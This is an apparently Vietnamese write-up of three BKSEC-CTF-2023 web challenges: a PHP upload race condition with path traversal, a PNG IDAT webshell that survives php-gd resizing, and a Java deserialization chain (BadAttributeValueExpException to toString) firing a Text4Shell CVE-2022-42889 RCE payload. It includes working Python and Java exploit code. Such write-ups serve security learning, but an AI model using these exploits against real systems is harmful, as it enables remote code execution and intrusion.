---
# System prepended metadata

title: Write Up BKSEC-CTF-2023
tags: ["Java\_Deserialization"]

---

# Write Up BKSEC-CTF-2023


#### Source của các bài mình để ở [đây](https://github.com/5h4s1/CTF_write_up/tree/main/BKCTF-2023) nha.
## Metadata checker

Sơ qua về chall này thì đây là 1 chall cho phép chúng ta upload file và sẽ in ra các thông tin metadata của file được upload lên

![](https://hackmd.io/_uploads/BJEOrQGpn.png)

Bài này cho source code nên ta thực hiện review source code của chall này có một số điểm cần chú ý như sau:

![](https://hackmd.io/_uploads/rJAhB7fp2.png)

Đây là code chỉ thực hiện check mimetype chứ không có filter gì extension -> chúng ta có thể upload được file php lên.

Nhưng upload được file php lên rồi thì vẫn không làm được gì vì khi xử lý file, in ra thông tin metadata xong thì web sẽ thực hiện xóa file đi ngay:
![](https://hackmd.io/_uploads/Byw7U7Ga3.png)

Ok như các dòng code trên sẽ thực hiện xóa đi file vừa up được lưu trữ ở đường dẫn tạm (chú ý đường dẫn này).
Nhưng ở đây được sleep(1.5)s -> ý tưởng race condition lóe ra trong đầu. Nhưng làm sao để call được file được upload lên khi nó được lưu ở folder `/var` mà.

![](https://hackmd.io/_uploads/BJ8jUQfph.png)

Để ý tiếp phần gen ra đường dẫn tạm của file được upload lên. Chúng ta có thể control được `$userValue` và `filename`.

Thử path traversal xem có được không nào. Lúc đó mình thử ở file name không được nhưng `$userValue` thì được. Ngonnnnnn.

Kết hợp các phần mình tìm được ở trên: bypass để upload extension `php`, sử dụng path traversal để có thể upload được file ra folder public mà chúng ta có thể call được và cuối cùng là sử dụng race condition call ra file trong vòng 1,5s trước khi website thực hiện xóa.

Ý tưởng ok r thì thực hiện ra sao ???
Để nhanh thì mình có sử dụng chức năng Intruder của Burp suite để upload lên và kết hợp chạy song song script python để call ra thực thi file vừa upload lên.

Đây là request Intruder:
![](https://hackmd.io/_uploads/Bk5Idmzpn.png)

Tiếp theo là script python:

```python=
import requests
import time

url = "http://18.141.143.171:30149/"


while True:
    # Vì server random file name bằng time nên ta có thể control được và gen được tên file.
    file_name = "_" + str(int(time.time())) + "_a.php"
    res = requests.get(url + file_name) 
    print(res.text)
    
```

Và thế là có flag:

![](https://hackmd.io/_uploads/HkOgYXf6h.png)

FLAG:
`BKSEC{Th!s_1s_just_the_st@rt_0f_the_r@ce_70ba49b21a7d509288d3836496b3ec16}`


## Image Copy Resampled

Tiếp tục 1 chall về php và cũng là upload file thôi (chắc lại RCE rồi)

Đây là 1 bài Whitebox nên ta tiếp tục review source.


![](https://hackmd.io/_uploads/r1-J5QMTh.png)

Bài này khác bài trước đó chính là cho phép upload extension `php` luôn (đấy RCE luôn đi).

Về sơ qua chức năng đơn giản là upload file lên và sẽ thực hiện chỉnh sửa lại ảnh đã upload với kích thước 40px.

![](https://hackmd.io/_uploads/S1wd97z6h.png)
Đọc code thì thấy có các hàm như `imagecreatefromstring` hay `imagecopyresampled` khá là lạ.

Google và đọc doc 1 lúc thì thấy đó là các hàm của `php-gd` thực hiện vẽ lại file ảnh đã upload lên.
Ý tưởng nhảy ra trong đầu là làm thế nào mà mình upload file lên (có chứa shell) mà qua các hàm kia nó vẫn còn.

Khó.

Thôi lại gg tiếp thì đọc được 1 blog có chall giống bài này v: [URLLLLLL](https://aidanstansfield.github.io/2020/05/15/sharkyctf-penteeeeest.html#exploiting-png-upload)

![](https://hackmd.io/_uploads/B1GVnQGT2.png)

Rồi rồi có cả link tool (nhưng web chết r).
Lại lục lọi gg tiếp thì cuối cùng cũng tìm đc [tool](https://github.com/huntergregal/PNG-IDAT-Payload-Generator)

Clone về và gen payload thôi (nhớ chỉnh lại cỡ ảnh cần vẽ về 40px để đi qua các hàm của `php-gd` sẽ không bị vẽ lại làm mất payload).

![](https://hackmd.io/_uploads/S14R6XGT2.png)

Upload lên và lụm flag thôi

![](https://hackmd.io/_uploads/H17tAXz63.png)


Note: Các bạn cũng có thể làm và nghiên cứu thêm 1 cách nữa tại [đây](https://xz.aliyun.com/t/2657)


FLAG:
`BKSEC{Php_Gd_iDa7_cHunk_859cb599c27715fa370c6036a61cac64}`

## Textext

Đây là challange mình mới đọc lại và giải chứ trình độ mình khi chơi giải này chưa giải được -)).

Đây là 1 challange về Java khá là hay và dễ tiếp cận.
Source của chall: 

Bắt tay vào phân tích source:


Trong chall có 2 class chính là `Player` và `PlayerController`
Chúng ta tập trung vào class `PlayerController` trước vì đây là phần xử lý request của chúng ta đẩy vào.

![](https://hackmd.io/_uploads/BkVnRZJgp.png)

Server sẽ lấy giá trị của param `player` trong path `/text/get-name` rồi thực hiện các bước như base64 decode và deserialize object đó rồi ép kiểu về `Player` và in ra thông tin username.

Tiếp theo là đến class `Player`

![](https://hackmd.io/_uploads/SkcZlM1l6.png)

Ô ở đây khá hay vì có hàm `toString` này.
Trong function `toString` có các phần xử lý khá hay ho liên quan đến class `StringSubstitutor`. Class này được lấy trong thư viện `common-text`.

Tại sao lại liên quan gì đến thư viện đó ở đây.

![](https://hackmd.io/_uploads/rkxzWGJlT.png)

Check lib của server đang sử dụng thì có dùng lib `common-text` version 1.9.
Tìm kiếm trên gg xem được gì thì chúng ta được thông tin là lib này có tồn tại `CVE-2022-42889`.
Tìm tiếp xem có POC không thì có: [POC](https://www.lunasec.io/docs/blog/text4shell-java-rce-cve-2022-42889/#proof-of-concept-code)
Về phần chi tiết phân tích CVE này thì mn đọc ở [đây](https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/) nha.

Có POC RCE của CVE rồi. Nhiệm vụ của chúng ta là làm sao có thể call được hàm `toString`. Khi call được vào trong `toString` rồi thì làm sao chỉnh được field `isAdmin=true`.

Đi từ set field `isAdmin` trước:
Như trong code chúng ta thấy là `isAdmin` được set là biến private. Để thay được giá trị của biến này chúng ta sử dụng `Reflection` trong java.

Code nôm na sẽ như sau:

```java
public class Test {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {
        Player player = new Player();

        Field a = Player.class.getDeclaredField("isAdmin");
        a.setAccessible(true);
        a.set(player, true);

        System.out.println(player.isAdmin());
    }
}
```

Như vậy ta sẽ set được biến private `isAdmin=true`
![](https://hackmd.io/_uploads/rkDR4zkea.png)

Tiếp tục làm sao call được đến hàm `toString` ???
Như trong source code không có phần nào call đến phần này cả.
Chúng ta sẽ tận dụng class `BadAttributeValueExpException`. Đây là 1 class được sử dụng rất phổ biến để call tới hàm `toString`.

Đây là full script của mình:

```java
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;

public class Main {
//     Hàm thực hiện serializa object và trả ra dạng base64 encode
    private static String serializeAndEncode(Serializable obj) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try (ObjectOutputStream out = new ObjectOutputStream(baos)) {
            out.writeObject(obj);
        }
        return Base64.getEncoder().encodeToString(baos.toByteArray());
    }
    
    public static void main(String[] args) throws Exception {
        Player player = new Player();
        Field isAdmin;
        Field name;
        
        try {
//             set giá trị field isAdmin thành true
            isAdmin = Player.class.getDeclaredField("isAdmin");
            isAdmin.setAccessible(true);
            isAdmin.set(player, true);
//             set field name thành payload của CVE
            name = Player.class.getDeclaredField("name");
            name.setAccessible(true);
            name.set(player, "${script:javascript:java.lang.Runtime.getRuntime().exec('open -a calculator')}");
            
//             sử dụng class BadAttributeValueExpException với field để call đến hàm toString của class Player
            BadAttributeValueExpException val = new BadAttributeValueExpException(null);
            Field valField = val.getClass().getDeclaredField("val");
            valField.setAccessible(true);
            valField.set(val, player);

        } catch (NoSuchFieldException | IllegalAccessException e) {
            throw new RuntimeException(e);
        }
        System.out.println(serializeAndEncode(val));
    }
}
```

Đây là class mình dựng lại để chạy trên local luôn:

```java
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.util.Base64;

public class KhaiThac implements Serializable {
    public static void main(String[] args) {
        String player = "";//payload
        try {
            byte[] data = Base64.getDecoder().decode(player);
            InputStream is = new ByteArrayInputStream(data);
            ObjectInputStream ois = new ObjectInputStream(is);
            Object obj = ois.readObject();
            ois.close();
            Player user = (Player)obj;
            System.out.println("<h1> Hello: " + user.getName() + " !</h1>");
        } catch (Exception var10) {
            System.out.println("<h1> ????????? </h1>");
        }
    }
}

```

Ok giờ thực hiện chạy và debug xem đúng ý tưởng không.

![](https://hackmd.io/_uploads/H1sfcf1l6.png)

Chạy thì đã mở được calculator.
Đến đây r thì gen payload rồi RCE vào server thôi, nhưng vì mình ngại build web nên mình dừng tạm ở đây, ở dưới mình sẽ debug thêm chút.

Debug để xem nó chạy sao nào.
![](https://hackmd.io/_uploads/SJG3qfJgT.png)

Trong hàm `readObject` của `BadAttributeValueException` đã set `valObj` thành object và dữ liệu chúng ta truyền vào. Ở đây là object `Player` với các dữ liệu như hình.
Và ở breakpoint mình đang dừng thì object `valObj` call tới hàm `toString`.
![](https://hackmd.io/_uploads/SJcxhfkxT.png)
Thế là call đến `toString` của `Player` -> Done


## refs
https://tsublogs.wordpress.com/2023/02/26/javasecurity101-5-java-deserialization-ysoserial-3/
https://www.lunasec.io/docs/blog/text4shell-java-rce-cve-2022-42889/#proof-of-concept-code
https://hackmd.io/@devme4f/BJqaWika3